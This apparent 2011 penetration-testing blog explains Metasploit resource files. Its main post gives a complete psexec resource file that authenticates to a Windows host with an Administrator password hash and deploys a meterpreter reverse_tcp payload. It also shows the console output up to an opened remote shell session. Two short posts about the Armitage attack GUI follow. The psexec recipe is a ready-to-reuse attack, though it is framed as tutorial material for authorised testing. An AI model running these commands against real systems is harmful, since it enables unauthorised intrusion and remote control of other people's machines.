Metasploit resource files

Metasploit has a handy feature that allows you to load settings from a file, this allows us to create easily repeatable configurations. I like to crate a directory structure when pen testing keeping notes and tool output in plain text files and find it useful to create and store the metasploit config files along with these.

The directory structure would look something like this:

Within the 230_psexec.rc file I would enter the commands I would issue in metasploit to recreate the exploit used against a specific vulnerability (in this case, reuse of passwords across various targets).

The contents of 230_psexec.rc looks like this:

use exploit windows/smb/psexec
set PAYLOAD windows/meterpreter/reverse_tcp
setg LHOST 192.168.1.182
set RHOST 192.168.1.230
set SMBPass aad3b435b51404eeaad3b435b51404ee:49e02f1338d4b2bf743beeb97aee524d
set SMBUser Administrator
exploit

We can either start metasploit and run these commands right away using the command:

msfconsole -r /root/2011-03-21_acme/192.168/1/230/230_psexec.rc

or use the command ‘resource’ within msfconsole like this:

msf> resource /root/2011-03-21_acme/192.168/1/230/230_psexec.rc

Our output would look like this:

root@bt:~# msfconsole -r /root/2011-03-21_acme/192.168/1/230/230_psexec.rc

                __.                       .__.        .__. __.
  _____   _____/  |______    ____________ |  |   ____ |__|/  |_
 /     \_/ __ \   __\__  \  /  ___/\____ \|  |  /  _ \|  \   __\
|  Y Y  \  ___/|  |  / __ \_\___ \ |  |_> >  |_(  <_> )  ||  |
|__|_|  /\___  >__| (____  /____  >|   __/|____/\____/|__||__|
      \/     \/          \/     \/ |__|


       =[ metasploit v3.7.0-dev [core:3.7 api:1.0]
+ -- --=[ 653 exploits - 343 auxiliary
+ -- --=[ 216 payloads - 27 encoders - 8 nops
       =[ svn r11970 updated 5 days ago (2011.03.15)

resource (/root/2011-03-21_acme/192.168/1/230/230_psexec.rc)> use windows/smb/psexec
resource (/root/2011-03-21_acme/192.168/1/230/230_psexec.rc)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (/root/2011-03-21_acme/192.168/1/230/230_psexec.rc)> setg LHOST 192.168.1.182
LHOST => 192.168.1.182
resource (/root/2011-03-21_acme/192.168/1/230/230_psexec.rc)> set RHOST 192.168.1.230
RHOST => 192.168.1.230
resource (/root/2011-03-21_acme/192.168/1/230/230_psexec.rc)> set SMBPass aad3b435b51404eeaad3b435b51404ee:49e02f1338d4b2bf743beeb97aee524d
SMBPass => aad3b435b51404eeaad3b435b51404ee:49e02f1338d4b2bf743beeb97aee524d
resource (/root/2011-03-21_acme/192.168/1/230/230_psexec.rc)> set SMBUser Administrator
SMBUser => Administrator
resource (/root/2011-03-21_acme/192.168/1/230/230_psexec.rc)> exploit
[*] Started reverse handler on 192.168.1.182:4444
[*] Connecting to the server...
[*] Authenticating to 192.168.1.230:445|WORKGROUP as user 'Administrator'...
[*] Uploading payload...
[*] Created \TwLkuthH.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.230[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.230[\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (dcZDWuwa - "MluCkfMYLQRNHpqECJiJY")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Sending stage (749056 bytes) to 192.168.1.230
[*] Closing service handle...
[*] Deleting \TwLkuthH.exe...
[*] Meterpreter session 1 opened (192.168.1.182:4444 -> 192.168.1.230:49305) at Sun Mar 20 23:45:20 +0000 2011

meterpreter >

You can also now add ruby scripts in to the .rc files, I am yet to play around with these but can imagine some very useful scripts, I will write more once I have tried them out.

Armitage - fast and easy hacking

Armitage - Fast and Easy Hacking

Metasploit is a fantastic and huge framework and things just got better with the addition of Armitage, a graphical attack management tool. Armitage will visualise targets, recommend exploits and give you direct access to the advanced features of the metasploit framework.

If you use metasploit it is well worth downloading and having a look at armitage. It is not a free version of metasploit pro, but it is an easy way to access many of the metasploit frameworks features.

The Metasploit Unleashed course from Offensive Security has been updated with a section on armitage, if you have not done the MSFU course yet you should check it out.

You can download armitage from fastandeasyhacking.com, also see the manual for more information.

Here is a video of Armitage in action.

Update on Mar 17, 2011 by Sam Hartley

Just a quick follow up on my last post:

In a short time Armitage has gotten some interesting new features, check out the video below for a demo.

Penetration Testing with Armitage from Raphael Mudge on Vimeo.